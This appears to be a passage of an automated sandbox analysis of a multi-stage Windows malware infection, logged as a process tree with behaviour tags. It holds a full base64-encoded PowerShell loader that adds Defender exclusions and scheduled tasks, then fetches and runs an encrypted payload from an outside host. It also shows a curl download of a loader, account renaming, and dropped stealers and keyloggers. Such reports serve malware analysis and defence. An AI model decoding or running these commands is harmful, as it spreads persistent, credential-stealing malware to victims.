dwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5956
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        9⤵
        Views/modifies file attributes
        
        PID:736
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        9⤵
        Views/modifies file attributes
        
        PID:1884
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        9⤵
        
        PID:1616
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        9⤵
        
        PID:5820
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        9⤵
        
        PID:5920
        
        C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        9⤵
        
        PID:4440
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7120
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
        9⤵
        
        PID:5232
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        7⤵
        
        PID:5468
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        7⤵
        
        PID:4204
    - - C:\Users\Admin\AppData\Local\Temp\Files\TrainJX2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TrainJX2.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3516
    - - C:\Users\Admin\AppData\Local\Temp\Files\Update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"
        5⤵
        
        PID:4536
    - - C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"
        5⤵
        
        PID:4344
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\cae7115510449f18\ScreenConnect.ClientSetup.msi"
        6⤵
        
        PID:5468
    - - C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe"
        5⤵
        
        PID:2672
      - C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe"
        6⤵
        
        PID:404
    - - C:\Users\Admin\AppData\Local\Temp\Files\RedLineStealer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\RedLineStealer.exe"
        5⤵
        
        PID:4360
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1944
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 136
        6⤵
        Program crash
        
        PID:5888
    - - C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"
        5⤵
        
        PID:4660
    - - C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"
        5⤵
        
        PID:4664
    - - C:\Users\Admin\AppData\Local\Temp\Files\000.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\000.exe"
        5⤵
        
        PID:5768
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""
        6⤵
        Executes a command shell one-liner
        
        PID:6648
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im explorer.exe
        7⤵
        Kills process with taskkill
        
        PID:6856
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        7⤵
        Kills process with taskkill
        
        PID:6776
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic useraccount where name='Admin' set FullName='UR NEXT'
        7⤵
        
        PID:4248
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic useraccount where name='Admin' rename 'UR NEXT'
        7⤵
        
        PID:3600
    - - C:\Users\Admin\AppData\Local\Temp\Files\OGFN%20Updater.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\OGFN%20Updater.exe"
        5⤵
        
        PID:6164
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c echo off
        6⤵
        Executes a command shell one-liner
        
        PID:6796
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        Executes a command shell one-liner
        
        PID:4520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c del C:\Windows\Temp\mapper.exe
        6⤵
        
        PID:6816
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c del C:\Windows\Temp\driver.sys
        6⤵
        
        PID:2340
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c del C:\Windows\Temp\dwareinj.exe
        6⤵
        
        PID:6024
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c del C:\Windows\Temp\injectorold.exe
        6⤵
        
        PID:1224
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c del C:\Windows\Temp\dwareogfn.dll
        6⤵
        
        PID:6056
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\loader.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/loader.exe --silent > nul 2>&1
        6⤵
        Executes a command shell one-liner
        
        PID:7152
        
        C:\Windows\system32\curl.exe
        
        curl -o C:\Windows\Temp\loader.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/loader.exe --silent
        7⤵
        
        PID:7068
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        Executes a command shell one-liner
        
        PID:2088
    - - C:\Users\Admin\AppData\Local\Temp\Files\pvp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\pvp.exe"
        5⤵
        
        PID:1084
      - C:\Users\Admin\AppData\Roaming\riende.exe
        
        "C:\Users\Admin\AppData\Roaming\riende.exe"
        6⤵
        
        PID:1184
    - - C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"
        5⤵
        
        PID:6532
    - - C:\Users\Admin\AppData\Local\Temp\Files\svhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\svhost.exe"
        5⤵
        
        PID:5876
    - - C:\Users\Admin\AppData\Local\Temp\Files\qcoin139.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\qcoin139.exe"
        5⤵
        
        PID:7148
    - - C:\Users\Admin\AppData\Local\Temp\Files\acr-g1upd-639159296668701809.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\acr-g1upd-639159296668701809.exe"
        5⤵
        
        PID:5576
    - - C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"
        5⤵
        
        PID:4856
    - - C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe"
        5⤵
        
        PID:5868
    - - C:\Users\Admin\AppData\Local\Temp\Files\BenzMonster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\BenzMonster.exe"
        5⤵
        
        PID:6608
    - - C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"
        5⤵
        
        PID:5440
    - - C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"
        5⤵
        
        PID:6528
      - C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
        6⤵
        
        PID:3740
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5276
        
        C:\Users\Admin\AppData\Roaming\Java\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\Java\jusched.exe"
        7⤵
        
        PID:2948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3416

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3608

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3960

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4396

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4924

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:364

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2696

C:\ProgramData\Synaptics\Synaptics.exe
C:\ProgramData\Synaptics\Synaptics.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\SysWOW64\._cache_Synaptics.exe
  "C:\Windows\system32\._cache_Synaptics.exe"
  2⤵
  - Downloads MZ/PE file
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1412
- - C:\Windows\SysWOW64\Files\keylogger.exe
    "C:\Windows\System32\Files\keylogger.exe"
    3⤵
    - Executes dropped EXE
    PID:5964
- - C:\Windows\SysWOW64\Files\byk4d5tg4nyo.exe
    "C:\Windows\System32\Files\byk4d5tg4nyo.exe"
    3⤵
    PID:4468
- - C:\Windows\SysWOW64\Files\ledshow1.exe
    "C:\Windows\System32\Files\ledshow1.exe"
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\Files\keygen.exe
    "C:\Windows\System32\Files\keygen.exe"
    3⤵
    PID:1788
- - C:\Windows\SysWOW64\Files\tomatoleizhutizy.exe
    "C:\Windows\System32\Files\tomatoleizhutizy.exe"
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\Files\desk.exe
    "C:\Windows\System32\Files\desk.exe"
    3⤵
    PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2584

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3060

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:1972

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4192

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 96c8d0a980d72c7f724740a8fe9a968b KvlANpkNP0eFtdAWoOTeqg.0.1.0.0.0
1⤵
PID:1428
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:5564

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2912

C:\Users\Admin\AppData\Roaming\conhost.exe
"C:\Users\Admin\AppData\Roaming\conhost.exe" ..
1⤵
PID:2984

C:\Users\Admin\AppData\Local\0dd52937-ff6b-499d-9ffd-f064245155c4\background.exe
C:\Users\Admin\AppData\Local\0dd52937-ff6b-499d-9ffd-f064245155c4\background.exe
1⤵
PID:4400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
  2⤵
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUA